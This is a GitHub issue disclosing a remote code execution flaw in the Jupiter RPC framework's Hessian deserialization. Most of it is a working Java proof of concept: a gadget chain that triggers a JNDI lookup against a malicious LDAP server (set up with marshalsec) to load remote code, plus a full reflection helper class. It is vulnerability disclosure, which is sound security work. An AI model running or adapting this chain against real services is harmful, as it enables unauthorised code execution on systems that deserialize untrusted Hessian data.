fengjiachun / Jupiter

Jupiter是一款性能非常不错的, 轻量级的分布式服务框架
Apache License 2.0
1.51k stars 562 forks source link

RCE vulnerability #113

Open adv851 opened 11 months ago

adv851 commented 11 months ago

Problem Description

Jupiter utilizes the Hessian protocol as a component of its RPC communication. However, this protocol presents security risks, as attackers can achieve Remote Code Execution (RCE) attacks by meticulously crafting serialized data.

Reproduce

Provider Side

We employed the built-in module "jupiter-example" of the project to set up the test environment for the attack. The JDK version used is 8u65.

截屏2023-11-02 21 40 59
The Malicious LDAP Server
  1. We used "marshalsec-0.0.3-SNAPSHOT-all.jar" tool to set up a malicious LDAP server.

    截屏2023-11-02 22 14 53
  2. Deploying an HTTP server in the directory containing the malicious files.

    截屏2023-11-02 22 15 05
POC

The code for sending client requests. Utilizing the code from the org.jupiter.example.non.annotation.JupiterClient.java example, modify the transmitted data to be carefully designed serialized data (Line 67).

截屏2023-11-02 22 00 56
    public static Object getEvilObj() throws Exception {
        ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
        concurrentHashMap.put("aaa", "an,");

        UIDefaults uiDefaults = new UIDefaults();
        Object lazyValue = Reflections.createWithObjectNoArgsConstructor(Class.forName("javax.swing.UIDefaults$ProxyLazyValue"));
        Reflections.setFieldValue(lazyValue, "className", "javax.naming.InitialContext");
        Reflections.setFieldValue(lazyValue, "args", new Object[]{"ldap://127.0.0.1:8087/Evil"});
        Reflections.setFieldValue(lazyValue, "methodName", "doLookup");
        uiDefaults.put("aaa", lazyValue);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",uiDefaults);
        map1.put("zZ",concurrentHashMap);
        map2.put("yy",concurrentHashMap);
        map2.put("zZ",uiDefaults);

        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
        Reflections.setFieldValue(s, "table", tbl);

        return s;
    }
package org.jupiter.payload.util;

import com.nqzero.permit.Permit;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Reflections {

    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }

    public static void setFieldValue(Object obj, String field, Object value){
        try{
            Class clazz = obj.getClass();
            Field fld = getField(clazz,field);
            fld.setAccessible(true);
            fld.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
    public static Constructor<?> getFirstCtor(Class clazz) throws Exception {
        final Constructor<?> ctor = clazz.getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static Object newInstance(String className, Object ... args) throws Exception {
        return getFirstCtor(className).newInstance(args);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    /**
     * 使用constructorClass的构造器构造一个classToInstantiate类
     * @param classToInstantiate 要初始化的类类型
     * @param constructorClass 构造器类
     * @param consArgTypes 参数类
     * @param consArgs  参数数值
     * @return
     * @param <T>
     */
    @SuppressWarnings ( {"unchecked"} )
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }

    public static <T> T createWithNoArgsConstructor(Class<T> clzToInstantiate) {

        T resObj = null;
        try{
            Constructor<?> constructor = clzToInstantiate.getDeclaredConstructor();
            constructor.setAccessible(true);
            resObj = (T)constructor.newInstance();
        } catch (NoSuchMethodException e) {
            try {
                resObj = createWithConstructor(clzToInstantiate, clzToInstantiate.getSuperclass(),
                        new Class[0], new Object[0]);
            } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException eInner) {
                resObj = createWithObjectNoArgsConstructor(clzToInstantiate);
            }
        } catch (InvocationTargetException | InstantiationException | IllegalAccessException e) {
            e.printStackTrace();
        }

        return resObj;
    }

    public static <T> T createWithObjectNoArgsConstructor(Class<T> clzToInstantiate) {

        T resObject = null;
        try{
            resObject = createWithConstructor(clzToInstantiate, Object.class, new Class[0], new Object[0]);
        } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
        }

        return resObject;

    }
}

Attack Impact

Capable of executing an RCE attack, in this attack test, it is demonstrated through the launch of the calculator application.

截屏2023-11-02 22 05 22 截屏2023-11-02 22 08 44